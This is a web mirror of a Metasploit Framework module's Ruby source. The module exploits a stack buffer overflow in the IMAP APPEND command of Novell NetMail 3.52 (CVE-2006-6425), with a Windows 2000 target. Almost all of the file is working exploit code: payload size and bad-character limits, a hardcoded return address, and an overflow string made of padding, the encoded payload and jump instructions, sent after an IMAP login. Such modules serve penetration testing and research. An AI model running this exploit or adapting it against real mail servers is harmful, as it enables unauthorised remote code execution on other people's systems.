CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/imap/novell_netmail_append.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Imap
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Novell NetMail IMAP APPEND Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP APPEND
16
verb. By sending an overly long string, an attacker can overwrite the
17
buffer and control program execution.
18
},
19
'Author' => [ 'MC' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2006-6425' ],
24
[ 'OSVDB', '31362' ],
25
[ 'BID', '21723' ],
26
[ 'ZDI', '06-054' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' =>
30
{
31
'EXITFUNC' => 'thread',
32
},
33
'Payload' =>
34
{
35
'Space' => 700,
36
'BadChars' => "\x00\x0a\x0d\x20",
37
'StackAdjustment' => -3500,
38
},
39
'Platform' => 'win',
40
'Targets' =>
41
[
42
['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],
43
],
44
'DefaultTarget' => 0,
45
'DisclosureDate' => '2006-12-23'))
46
47
end
48
49
def exploit
50
sploit = "a002 APPEND " + "saved-messages (\Seen) "
51
sploit << rand_text_english(1358) + payload.encoded + "\xeb\x06"
52
sploit << rand_text_english(2) + [target.ret].pack('V')
53
sploit << [0xe9, -585].pack('CV') + rand_text_english(150)
54
55
info = connect_login
56
57
if (info == true)
58
print_status("Trying target #{target.name}...")
59
sock.put(sploit + "\r\n")
60
else
61
print_status("Not falling through with exploit")
62
end
63
64
handler
65
disconnect
66
end
67
end
68
69